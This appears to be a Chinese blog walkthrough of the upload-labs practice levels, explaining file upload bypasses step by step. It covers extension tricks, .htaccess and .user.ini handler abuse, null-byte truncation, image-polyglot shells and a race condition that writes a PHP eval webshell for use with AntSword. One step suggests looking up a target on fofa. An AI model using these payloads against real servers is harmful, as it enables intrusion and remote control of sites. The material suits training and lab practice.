文件上传漏洞详解

第一关

步骤一,打开第一关先点击浏览上传一个jpg格式的图片

步骤二,打开BP修改jpg为php然后放包

步骤三,右键打开图像

成功解析

步骤四,打开蚁剑

第一关还是蛮简单的

第二关

步骤一,打开第二关先点击浏览上传一个jpg格式的图片

步骤二,打开BP修改jpg为php然后放包

步骤三,右键打开图像

步骤四,打开蚁剑

一二关步骤一样...

第三关

步骤一,我们尝试看看能不能上传1.php

我们获得提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!

步骤二,我们尝试改一下文件名称后面加个数字1.php5

步骤三,右键打开图像

成功解析

第四关

环境不行得需要在fofa找一个靶场

编写.htaccess文件,内容解释:将1.jpg文件解析成php文件

<FilesMatch "1.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

步骤一,上传.htaccess文件

步骤二,在上传一个1.jpg

步骤三,右键打开图像

成功解析

第五关

文件包含操作

auto_prepend_file ="x.jpg"表示加载第一个PHP代码之前执行指示(包含的)文件

步骤一,上传.htaccess文件.user.ini文件内容

步骤二,在上传一个1.jpg

步骤三,访问readme.php文件

第六关

步骤一,使用大小写绕过

步骤二,右键打开图像

成功解析

第七关

步骤一,打开BP1.php后面加个空格

步骤二,右键打开图像

成功解析

第八关

步骤一,打开BP在文件名称后面加个'.'

步骤二,右键打开图像

成功解析

第九关

步骤一,打开BP在文件名称后面加个'::$DATA'

步骤二,右键打开图像

成功解析

第十关

步骤一,打开BPphp后面加上'. .'

步骤二,右键打开图像

成功解析

第十一关

双写后缀名绕过

步骤一,点击浏览上传php文件

步骤二,右键打开图像

成功解析

第十二关

步骤一,打开BP

在第一行添加xxx.php%00

把php改为jpg

步骤二,右键打开图像

删掉php后面的东西

成功解析

第十三关

这段代码同样是⽩名单限制后缀名,$_POST'save_path'是接收客户端提交的值,客户端可任意修改。所以会产⽣安全漏洞;

POST 下直接注⼊%00 是不⾏的,需要把%00 解码变成空⽩符,截断才有效。才能把⽬录截断成⽂件名;

步骤一,打开BP

添加xxx.php (空格)

把php改为jpg

将%00的hex码更改为00,然后上传

步骤二,右键打开图像

删掉php后面的东西

成功解析

第十四关

⽂件头代表了⽂件是那种类型,我们上传的⽂件内容如果是只有php代码,那么程序在对我们的⽂件头部进⾏检查时,如果发现没有允许上传⽂件类型的⽂件头,就会对我们上传⽂件进⾏拦截。

步骤一,制作图⽚⼀句话,使⽤copy a.jpg/b+1.php/a shell.jpg将 php ⽂件附加在 jpg 图⽚上,直接上传即可;

/b代表以⼆进制编码打开⽂件,/a代表以ASCII码编码打开⽂件

步骤二,上传shell.jpg,图片右键新建标签页打开图片,打开文件包含漏洞,用file读取图片地址

第十五关

步骤一,上传shell.jpg,图片右键新建标签页打开图片,打开文件包含漏洞,用file读取图片地址

第十六关

环境不支持

第十七关

**步骤一:**我们找到php ⽬录 执⾏ php 1.php 就会给我们⽣成⼀个1.png⽂件

步骤二,图片需要二次渲染,上传图片,图片右键新建标签页打开图片,打开文件包含漏洞,用file读取图片地址

步骤三,复制地址去蚁剑连接

第十八关

步骤一,php文件输入<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST"cmd")?>');?>

步骤二,上传文件,burp抓包,发送到 intruder 模块,设置⽆限发送空的payloads,无限重复;

步骤三,访问1.php抓包,发送到 intruder 模块,设置⽆限发送空的payloads,无限重复;

步骤四,同时攻击,直到出现webshell.php

步骤五,使用蚁剑连接

第二十关

步骤一,上传php文件,保存名称改为1.php/.

步骤二,图片右键新建标签页打开图片

相关推荐
三少爷的鞋6 小时前
Java 线程自上而下,Kotlin 协程自下而上
android
好的佩奇8 小时前
Dart 之增强枚举
android·flutter·dart
梦影_8 小时前
MySQL进阶教程(五)—— SQL调优(下)
android·大数据·数据库·后端·sql·mysql·database
好的佩奇11 小时前
蓝牙之无线电与通信距离
android·flutter·蓝牙
vilya11 小时前
我把一套完整的 Python Agent 运行时塞进手机 APK:依赖闭包、Rust 轮子和三个真机坑
android
呆呆敲代码的小Y13 小时前
【实战精选面试题】C# 面试题详细解答,按难易程度排序
android·java·游戏·c#·游戏开发·unity面试题·c#面试题
思想觉悟14 小时前
SEAndroid实战
android·linux·c++
思想觉悟15 小时前
Aosp开发磨刀石之ADB速查
android·c++
应用市场17 小时前
用本机跑的开源音乐模型,给安卓小游戏做 20 秒无缝循环背景音乐
android·python·游戏开发·soundpool·音频处理
企业数字化笔记17 小时前
表单发布前怎么验收?版本引用、字段兼容和历史数据回归
android·数据挖掘·回归